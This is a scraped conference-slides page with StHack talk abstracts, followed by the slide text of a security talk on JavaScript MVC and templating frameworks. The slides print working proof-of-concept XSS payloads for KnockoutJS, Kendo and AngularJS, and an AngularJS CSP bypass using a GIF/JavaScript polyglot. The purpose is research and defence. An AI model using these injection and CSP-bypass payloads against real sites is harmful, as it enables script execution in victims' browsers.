La mouvance NoSQL fait de plus en plus parler d'elle. La plupart du temps open source, les implémentations sont nombreuses et offrent des alternatives intéressantes à la rigidité du SQL. Malheureusement ces diverses solutions NoSQL (MongoDB, CouchDB, Cassandra...) débarquent avec NoSecurity. Nous verrons que, tout comme le SQL, une mauvaise utilisation des clients/drivers peut avoir des conséquences tout aussi critique, si ce n'est plus...
StHack 2013 - Nicolas "@baldanos" Oberli Please insert inject more coinStHack
Le protocole ccTalk est utilisé dans la communication entre les périphériques de gestion de monnaie que l'on retrouve dans la plupart des machines de vente, comme les distributeurs automatiques. Ce protocole n'est pas très connu, et peu d'information existe sur Internet à ce sujet. Cette présentation vise en premier lieu à présenter le protocole ccTalk et ses applications. Divers outils permettant de travailler avec ce protocole seront aussi présentés ainsi que plusieurs faiblesses d'implémentation ou de protocole.
StHack 2014 - Benjamin "@gentilkiwi" Delpy MimikatzStHack
Présentation de méthodes de récupération et de rejoue des données d’authentification Windows
Faiblesse des gestionnaires de sécurité et améliorations sous Windows 8.1 ;
Utilisation de moyens matériel, une solution ? ;
Quelques petits à-côtés pour les survivants.
StHack 2014 - Jerome "@funoverip" Nokin Turning your managed av into my botnetStHack
Today centrally managed Anti-Virus (AV) solutions are used across all enterprises and are relied upon to provide central management, logging and enforcement. This talk presents the journey and the results of a reviewing the security posture of the core components of a few selected managed AV solutions, the central servers themselves. Critical security vulnerabilities will be presented, covering SQL Injection, Directory Path Traversal and Buffer Overflow. Particular focus will be given to the different steps required to fully compromise both central management servers and managed stations. Who does not want to transform a major managed AV into his private botnet within minutes?
Jerome Nokin works as a Security Consultant for Verizon Enterprise where he is a senior member of the Vulnerability Management Team mainly focusing on Penetration Tests and Web Application Assessment. Prior to his role at Verizon he worked in the area of security covering both consultancy and ICT.
The general purpose of software obfuscation is to make the analysis of software as difficult and expensive as possible, while keeping the original behaviour of the program. Its main applications are the protection of sensitive code and/or intellectual property. This talk will show you the two major types of obfuscation (control flow, data flow), several techniques of these two categories, and then concrete examples of "source-to-source" obfuscation applied to the Python langage.
Bio : Native of Bordeaux, Ninon Eyrolles completed her studies at Bordeaux 1 University (Master Cryptologie et Sécurité Informatique), and did an internship in the LaBRI. Then she exiled herself to Paris for her final internship, and stayed there to start a thesis on software obfuscation.
THE SACRIFICE HOW PRO-PALESTINE PROTESTS STUDENTS ARE SACRIFICING TO CHANGE T...indexPub
The recent surge in pro-Palestine student activism has prompted significant responses from universities, ranging from negotiations and divestment commitments to increased transparency about investments in companies supporting the war on Gaza. This activism has led to the cessation of student encampments but also highlighted the substantial sacrifices made by students, including academic disruptions and personal risks. The primary drivers of these protests are poor university administration, lack of transparency, and inadequate communication between officials and students. This study examines the profound emotional, psychological, and professional impacts on students engaged in pro-Palestine protests, focusing on Generation Z's (Gen-Z) activism dynamics. This paper explores the significant sacrifices made by these students and even the professors supporting the pro-Palestine movement, with a focus on recent global movements. Through an in-depth analysis of printed and electronic media, the study examines the impacts of these sacrifices on the academic and personal lives of those involved. The paper highlights examples from various universities, demonstrating student activism's long-term and short-term effects, including disciplinary actions, social backlash, and career implications. The researchers also explore the broader implications of student sacrifices. The findings reveal that these sacrifices are driven by a profound commitment to justice and human rights, and are influenced by the increasing availability of information, peer interactions, and personal convictions. The study also discusses the broader implications of this activism, comparing it to historical precedents and assessing its potential to influence policy and public opinion. The emotional and psychological toll on student activists is significant, but their sense of purpose and community support mitigates some of these challenges. However, the researchers call for acknowledging the broader Impact of these sacrifices on the future global movement of FreePalestine.
Elevate Your Nonprofit's Online Presence_ A Guide to Effective SEO Strategies...TechSoup
Whether you're new to SEO or looking to refine your existing strategies, this webinar will provide you with actionable insights and practical tips to elevate your nonprofit's online presence.
How to Setup Default Value for a Field in Odoo 17Celine George
In Odoo, we can set a default value for a field during the creation of a record for a model. We have many methods in odoo for setting a default value to the field.
A Visual Guide to 1 Samuel | A Tale of Two HeartsSteve Thomason
These slides walk through the story of 1 Samuel. Samuel is the last judge of Israel. The people reject God and want a king. Saul is anointed as the first king, but he is not a good king. David, the shepherd boy is anointed and Saul is envious of him. David shows honor while Saul continues to self destruct.
Gender and Mental Health - Counselling and Family Therapy Applications and In...PsychoTech Services
A proprietary approach developed by bringing together the best of learning theories from Psychology, design principles from the world of visualization, and pedagogical methods from over a decade of training experience, that enables you to: Learn better, faster!
StHack 2014 - Mario "@0x6D6172696F" Heiderich - JSMVCOMFG
1. JSMVCOMFG
To sternly look at JavaScript MVC and Templating Frameworks
A presentation by Mario Heiderich
mario@cure53.de || @0x6D6172696F
2. Infosec Hobgoblin
● Dr.-Ing. Mario Heiderich
● Researcher and Post-Doc, Ruhr-Uni Bochum
– PhD Thesis on Client Side Security and Defense
● Founder of Cure53
– Penetration Testing Firm
– Consulting, Workshops, Trainings
– Simply the Best Company of the World
● Published author and international speaker
– Specialized in HTML5 and SVG Security
– JavaScript, XSS and Client Side Attacks
● HTML5 Security Cheatsheet
● And something new!
– @0x6D6172696F
– mario@cure53.de
3. Today
● JavaScript MVC & Templating Frameworks
● Why? Because they are becoming popular
● Yes, we have numbers, wait for it...
● And they are special
● Are there security flaws?
● If yes (heh.. if..) what can we learn from them?
4.
5. What are they
● Written in JavaScript
● Often huge
● Often very complex
● Often maintained by corporations
● Interfaces to enable different coding styles
● Extending, optimizing, changing
● The way developers work with JavaScript
● The way web applications used to work
6.
7. What do they do?
● Claims
● “More productive out of the box” EmberJS
● “AngularJS lets you extend HTML vocabulary
for your application” AngularJS
● “Fast templates, responsive widgets” CanJS
● “Simple and intuitive, powerful and
extensible, lightning fast” JsRender
11. So..
● JSMVC Frameworks do the following
● They extend the DOM
● They “abstractify” the DOM
● They provide new interfaces
● They often use script-templates or “data blocks”
“The script element allows authors to include
dynamic script and data blocks in their documents.” WHATWG
– Often Mustache-style
– Sometimes ERB-style
– Sometimes something completely different
● They often use markup-sugar
– Custom elements, <hellokitty>
– HTML5 data attributes
HTML5
Approved!
HTML5
Approved!
15. JSMVC and Security
● Initial rationale for security research
● It's trending, it's complex, it's different
● What else do we need... nothing
● Poke-first, analyze later
● Pick a target, thanks TodoMVC!
● Explore debugging possibilities
● Goal: Execute arbitrary JavaScript, maybe more
● Using the JSMVC capabilities
● Using otherwise uncommon ways
● Assume injection, assume conventional XSS filter
● After poking, derive a metric for JSMMVC security
16. Pokes
● Why not start with KnockoutJS
<script src="knockout-2.3.0.js"></script>
<div data-bind="x:alert(1)" />
<script>
ko.applyBindings();
</script>
17. Wait...
● JavaScript from within a data-attribute?
● No extra magic, just the colon?
● That's right
● See where we are heading with this?
● Knockout knocks out XSS filters
● IE's XSS Filter
● Chrome's XSS Auditor
● Anything that allows data attributes
● This behavior breaks existing security assumptions!
18.
19. The reason
● “eval” via “Function”
parseBindingsString: function(b, c, d) {
try {
var f;
if (!(f = this.Na[b])) {
var g = this.Na, e, m = "with($context){with($data||{}){return{"
+ a.g.ea(b) + "}}}";
e = new Function("$context", "$element", m);
f = g[b] = e
}
return f(c, d)
} catch (h) {
throw h.message = "Unable to parse bindings.nBindings value: " + b +
"nMessage: " + h.message, h;
}
}
21. Reason
● A copy of “eval” called “myEval”
● Great Success!
myEval = function(script) {
eval(script);
},
[...]
var template = buff.join(''),
out = {
out: 'with(_VIEW) { with (_CONTEXT) {' + template + " " + finishTxt + "}}"
};
// Use `eval` instead of creating a function, because it is easier to debug.
myEval.call(out, 'this.fn = (function(_CONTEXT,_VIEW){' + out.out + '});rn//@
sourceURL=' + name + ".jjs");
return out;
22. And even more...
<script src="jquery-1.7.1.min.js"></script>
<script src="kendo.all.min.js"></script>
<div id="x"># alert(1) #</div>
<script>
var template = kendo.template($("#x").html());
var tasks = [{ id: 1}];
var dataSource = new kendo.data.DataSource({ data: tasks });
dataSource.bind("change", function(e) {
var html = kendo.render(template, this.view());
});
dataSource.read();
</script>
23. Keeeeep Pokin'
● AngularJS 1.1.x
<script src="angular.min.js"></script>
<div class="ng-app">
{{constructor.constructor('alert(1)')()}}
</div>
● Or this – even with encoded mustaches
<script src="angular.min.js"></script>
<div class="ng-app">
{{constructor.constructor('alert(1)')()}}
</div>
26. Sadly for the attacker...
●
function ensureSafeObject(obj, fullExpression) {
// nifty check if obj is Function that is fast … other contexts
if (obj && obj.constructor === obj) {
throw $parseMinErr('isecfn', 'Referencing Function in Angular
expressions is disallowed!Expression: {0}', fullExpression);
} else {
return obj;
}
● They fixed it in 1.2.x
● Dammit!
● Good test-cases too! Look...
27. Not that hard to solve
var foo = {};
foo.bar = 123;
foo.baz = 456;
console.log(foo.hasOwnProperty('bar')); // true
console.log(foo.hasOwnProperty('baz')); // true
console.log(foo.hasOwnProperty('constructor')); // false
console.log(foo.hasOwnProperty('__proto__')); // false
console.log(foo.hasOwnProperty('prototype')); // false
28.
29. CSP
● Most of the JSMVC will not work with CSP
● At least not without unsafe-eval
● That's not gonna help evangelize CSP
● Although there's hope – AngularJS
31. AngularJS
● Features a special CSP mode
● Said to be 30% slower
● But enables AngularJS to work
● Even without unsafe-eval or other nasties
● Magick!
● It also brings back script injections
33. How do they do it?
I. Parse the “ng”-attributes
II. Slice out the relevant parts
III. Create anonymous functions
IV. Connect them with events
V. Wait for event handler to fire
$element.onclick=function($event){
$event['view']['alert']('1')
}
● It's technically not in-line
● Neither is any “eval” being used
34. So, enabling the JSMVC to work with CSP
(partly) kills the protection CSP delivers?
Aw, yeah, being a pen-tester these days!
35. “Packaged apps deliver an experience as capable as a native
app, but as safe as a web page. Just like web apps, packaged
apps are written in HTML5, JavaScript, and CSS.”
Uhm...
36. “Packaged apps have access to Chrome APIs and services not
available to traditional web sites. You can build powerful apps
that interact with network and hardware devices, media tools,
and much more.”
:-O - what the screaming f***!
37. It's bad
“Ever played with Chrome Packaged Apps?”
● Very powerful tools
● Similar yet not equivalent to extensions
● Melting the barrier between web and desktop
● HTML + JS + many APIs
● CSP enabled by default
● And work great with AngularJS (of course)
38. Doing the Nasty
● Let's bypass CSP in CPA using Angular
● And escalate some privileges
48. More CSP Bypasses
● And even a much better one
● Inject a class attribute
● Upload a GIF
● Get a free AngularJS + HTML5 CSP Bypass
● Wanna see?
49. <link rel="import" href="test.gif">
<script src="test.gif"></script>
It's a valid GIF but also
contains payload!
Now it imports itself
<span
class="ng-
include:'test.gif'"></span>
Let's upload a pic!
Thereby loads itself as JS
Now we inject a class attribute
– including the image as
HTML!
“And pop goes the weasel”
50. “It looks like we will agree to disagree on the importance of the
HTML imports issue -- we don't think it's possible for a third
party to execute arbitrary Javascript via the process you
describe, so the risk of unsanitized HTML would be one that the
developer was taking on deliberately.”
52. Quick Recap
● What have we seen today
● Rotten Markup-Sugar
● JavaScript exec. from data-attributes
● JavaScript exec. from any element
● JavaScript exec. within encoded mustache
● A full-blown CSP Bypass, meanwhile fixed
● Another one, working in latest versions
● The reasons for all these
● Oh – and an attack against Chrome Packaged Apps
● And it was just the tip of the iceberg
● Lots of “eval” and bad coding practices
56. Metrics
● While root causes persist, new challenges arise
● We need to build metrics
● After having analyzed 12 frameworks: Here's a proposal
{}SEC-A Are template expressions equivalent to a JavaScript eval?
{}SEC-B Is the the execution scope well isolated or sand-boxed?
{}SEC-C Can arbitrary HTML elements serve as template containers?
{}SEC-D Does the framework allow, encourage or even enforce
separation of code and content?
{}SEC-E Does the framework maintainer have a security response
program?
{}SEC-F Does the Framework allow safe CSP rules to be used
57.
58. Conclusion
● JSMVC requires new security requirements
● No reflected content from the server within template containers
● Sometimes, everything is a template container
● Strict separation is necessary
● And there is hope!
● Maybe JSMVC eliminates XSS
● Because it changes how we design applications.
● And does by boosting and not hindering productivity
● Interested in collaborating on this? Contact me!
59. Future Work
● New Technologies and Libraries
● Google's Dart now does templates too
● Web Components, Polymer, Shadow DOM
● Custom HTML elements
● New security promises and flaws
● Classic websites considered dead
● Classic web pen-tests even deader
● Data is the new vector
● The DOM is too
● Race Conditions, MSIE, Browser craziness even more
● Scriptless Attacks, DOM Clobbering
● Fragmentation of the web